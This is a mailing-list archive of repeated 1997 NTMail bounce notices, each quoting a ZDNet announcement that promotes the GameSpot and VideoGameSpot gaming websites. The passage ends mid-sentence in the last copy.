Date: Tue, 25 Feb 1997 14:07:51 -0800 (PST)
Subject: Failed mail
Message-ID: <la219841.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id la219841; Tue, 25 Feb 1997 17:09:26 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:26 -0500
>Message-Id: <22092695445848@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:05:57 -0800 (PST)
Subject: Failed mail
Message-ID: <ma219842.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ma219842; Tue, 25 Feb 1997 17:09:28 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:28 -0500
>Message-Id: <22092823645849@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:04:32 -0800 (PST)
Subject: Failed mail
Message-ID: <na219843.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id na219843; Tue, 25 Feb 1997 17:09:29 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:29 -0500
>Message-Id: <22092963845850@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:06:10 -0800 (PST)
Subject: Failed mail
Message-ID: <oa219844.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id oa219844; Tue, 25 Feb 1997 17:09:30 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:30 -0500
>Message-Id: <22093095045851@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:04:28 -0800 (PST)
Subject: Failed mail
Message-ID: <ka219840.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ka219840; Tue, 25 Feb 1997 17:09:25 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:25 -0500
>Message-Id: <22092560245847@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:52 -0800 (PST)
Subject: Failed mail
Message-ID: <pa219845.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id pa219845; Tue, 25 Feb 1997 17:09:32 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:32 -0500
>Message-Id: <22093222145852@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:06:13 -0800 (PST)
Subject: Failed mail
Message-ID: <ta219849.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ta219849; Tue, 25 Feb 1997 17:09:37 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:37 -0500
>Message-Id: <22093754945856@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:06:17 -0800 (PST)
Subject: Failed mail
Message-ID: <sa219848.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id sa219848; Tue, 25 Feb 1997 17:09:36 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:36 -0500
>Message-Id: <22093626745855@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:04:47 -0800 (PST)
Subject: Failed mail
Message-ID: <ra219847.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ra219847; Tue, 25 Feb 1997 17:09:34 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:34 -0500
>Message-Id: <22093491545854@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:06:19 -0800 (PST)
Subject: Failed mail
Message-ID: <qa219846.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id qa219846; Tue, 25 Feb 1997 17:09:33 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:33 -0500
>Message-Id: <22093348345853@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:06:55 -0800 (PST)
Subject: Failed mail
Message-ID: <wa219852.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id wa219852; Tue, 25 Feb 1997 17:09:41 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:41 -0500
>Message-Id: <22094158545859@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:06:40 -0800 (PST)
Subject: Failed mail
Message-ID: <xa219853.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id xa219853; Tue, 25 Feb 1997 17:09:43 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:43 -0500
>Message-Id: <22094312745860@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:05:08 -0800 (PST)
Subject: Failed mail
Message-ID: <ya219854.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ya219854; Tue, 25 Feb 1997 17:09:44 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:44 -0500
>Message-Id: <22094445945861@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:05:50 -0800 (PST)
Subject: Failed mail
Message-ID: <ua219850.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ua219850; Tue, 25 Feb 1997 17:09:38 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:38 -0500
>Message-Id: <22093885145857@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
